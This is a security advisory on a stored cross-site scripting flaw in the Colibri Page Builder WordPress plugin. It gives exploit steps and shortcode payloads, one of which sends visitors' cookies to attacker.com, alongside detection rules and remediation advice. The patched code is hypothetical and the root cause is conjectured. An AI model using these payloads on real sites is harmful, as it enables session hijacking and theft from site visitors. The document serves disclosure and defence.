CVE-2024-2839

Executive Summary

CVE-2024-2839 is a Stored Cross-Site Scripting (XSS) vulnerability in the Colibri Page Builder plugin for WordPress, affecting all versions up to and including 1.0.263. The flaw resides in the colibri_post_title shortcode, where user-supplied attributes such as heading_type are not properly sanitized or escaped. This allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user visits a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, data theft, or further compromise.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The Colibri Page Builder is a popular drag-and-drop builder, and the flaw affects its shortcode handling. No Apache or Nginx server-side misconfiguration is involved; the issue is purely within the plugin's PHP code.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: None (script executes automatically on page load)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts makes it a significant risk for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability is triggered via the colibri_post_title shortcode. The plugin fails to properly sanitize the heading_type attribute before outputting it in the HTML. An attacker with contributor-level access can create a post or page containing:

[colibri_post_title heading_type="<script>alert('XSS')</script>"]

When the shortcode is processed, the heading_type value is directly inserted into the HTML without escaping, causing the script to execute in the context of the visitor's browser.

Root Cause: Insufficient input sanitization and output escaping on the heading_type attribute. The plugin likely uses echo $heading_type instead of echo esc_attr($heading_type).

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Creates a new post or page.
3. Inserts the malicious shortcode with a crafted heading_type attribute.
4. Publishes or saves the post.
5. Any user visiting the page triggers the XSS payload.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.0.263):

function colibri_post_title_shortcode($atts) {
    $atts = shortcode_atts(array('heading_type' => 'h1'), $atts);
    $heading_type = $atts['heading_type'];
    // No sanitization or escaping
    return "<$heading_type>" . get_the_title() . "</$heading_type>";
}

Patched Code (Hypothetical):

function colibri_post_title_shortcode($atts) {
    $atts = shortcode_atts(array('heading_type' => 'h1'), $atts);
    $allowed_tags = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'span', 'div');
    $heading_type = in_array($atts['heading_type'], $allowed_tags) ? $atts['heading_type'] : 'h1';
    // Escaping the output
    return "<" . esc_attr($heading_type) . ">" . esc_html(get_the_title()) . "</" . esc_attr($heading_type) . ">";
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress site with Colibri Page Builder <= 1.0.263
• Contributor-level account or higher

Exploit Steps:

1. Log in to WordPress admin.
2. Navigate to Posts > Add New.
3. In the editor, switch to Text mode.
4. Insert the following shortcode:

   [colibri_post_title heading_type="h1 onmouseover=alert(1) x="]
   

   Or a more stealthy payload:

   [colibri_post_title heading_type="h1><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script><h1"]
   

5. Publish the post.
6. Wait for an admin or visitor to view the page.

Lab Setup:

• Use a local WordPress installation (e.g., via Docker).
• Install Colibri Page Builder version 1.0.263.
• Create a test user with contributor role.
• Execute the exploit and observe the XSS in a browser.

Blue Team (Defender)

Detection:

• Monitor for posts/pages containing [colibri_post_title with unusual heading_type values.
• Look for JavaScript event handlers (e.g., onmouseover, onload) in shortcode attributes.
• Check for outbound connections to unknown domains from WordPress admin.

Mitigation:

• Immediately restrict contributor-level users from using shortcodes if possible.
• Apply a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.
• Update the plugin as soon as a patch is available.

Indicators of Compromise (IOCs)

• Network: HTTP requests to attacker.com or similar domains from WordPress admin.
• File: Posts/pages containing [colibri_post_title heading_type=" with script tags or event handlers.
• Log: WordPress audit logs showing creation of posts with suspicious shortcodes.
• Browser: Unexpected JavaScript execution on WordPress pages.

Detection Engineering

YARA Rule

rule CVE_2024_2839_Colibri_XSS {
    meta:
        description = "Detects malicious shortcode usage in Colibri Page Builder"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2839"
    strings:
        $shortcode = /\[colibri_post_title[^\]]*heading_type\s*=\s*["'][^"']*<script[^>]*>/
        $event_handler = /\[colibri_post_title[^\]]*heading_type\s*=\s*["'][^"']*on\w+\s*=\s*["']/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-2839 Colibri Page Builder XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS via colibri_post_title shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "colibri_post_title"
        http.url|re: "heading_type=.*<script"
    condition: selection
falsepositives:
    - Legitimate use of heading_type with non-malicious values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2839 Colibri Page Builder XSS"; flow:to_server; content:"colibri_post_title"; http_uri; pcre:"/heading_type\s*=\s*["'][^"']*<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Colibri Page Builder plugin until a patch is available.
2. Short-term: Restrict contributor-level users from using shortcodes via user role editor plugins.
3. Long-term: Apply a WAF rule to block XSS patterns in shortcode attributes.
4. Patch: Monitor the plugin's official repository for an update. When available, update to version > 1.0.263.
5. Audit: Review all posts/pages created by contributors for malicious shortcodes.

Valters IT
Securing WordPress ecosystems one CVE at a time.